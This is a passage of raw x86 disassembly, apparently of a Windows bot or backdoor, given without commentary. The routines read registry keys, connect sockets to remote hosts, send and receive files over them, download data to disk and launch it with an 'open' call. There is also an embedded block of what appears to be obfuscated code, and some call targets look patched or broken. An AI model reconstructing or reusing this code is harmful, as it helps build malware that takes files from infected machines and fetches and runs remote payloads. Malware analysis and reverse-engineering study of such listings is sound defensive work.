push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CAFD0 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CAFD0 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CAFD0 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB024 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CAF14 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CAF14 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CAF14 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CAFD0 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CAF14 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CAFD0 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CAF14 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CAFD0 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CAF14 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CAFD0 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CAF14 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CAFD0 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CAF14 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CAF14 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CAFD0 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB024 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4361F4, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_4361F4 mov esi, offset dword_436200 mov edi, offset dword_4373F8 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CAFE4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CAE74 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4293BC push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_4373F4 ; "=" push eax call sub_41C0F4 push offset asc_4373F4 ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CAF50 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_415C53 push edi call dword_4CB00C loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h dd 22DA314h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h, 0C3E8F075h dd 59FFFF56h, 0A9E89056h, 6A022DA2h, 0A1E89064h, 330227A2h dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h, 85004CAFh dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 49E89064h, 6A0227A2h, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 0A1E6E890h db 2Dh, 2 ; --------------------------------------------------------------------------- loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_437574 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CAF74 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CAFA0 test eax, eax jz short loc_415EA6 push offset unk_437550 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CAF18 push dword ptr [ebp-2Eh] call dword_4CAEA4 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CAF9C test eax, eax jz short loc_415F21 push offset unk_437474 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 27108ABh cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437530 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax call near ptr 2750000h nop mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CAFB4 push eax call dword_4CAF70 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437518 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CAF5C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437500 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_4374DC loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB00C cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] call near ptr 2780000h nop lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 2710000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CAFC4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CAF8C cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] call near ptr 2670822h nop push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB000 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_4374B0 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB00C loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi nop call near ptr 26F0000h loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_437498 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx call near ptr 26F0000h nop loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax call near ptr 2680AB1h nop lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4293C4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 27108ABh cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_437614 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax nop call near ptr 2670822h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_4375E4 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_4375C4 loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CAF8C mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CAF70 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CAFC4 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_437498 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 nop call near ptr 26F0000h loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_437598 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB00C loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CAF24 call dword_4CAE78 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 27108ABh cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_4377E0 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi call near ptr 26F0000h nop loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi nop call near ptr 26A0617h mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CAE80 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 2700000h nop cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377B8 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437790 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43DCB0 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437764 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j call near ptr 26A0617h nop sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 2670822h push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_43773C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_437704 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CAEE0 cmp [ebp-30h], esi jnz loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_4376E8 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: ___:0041669Fj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov 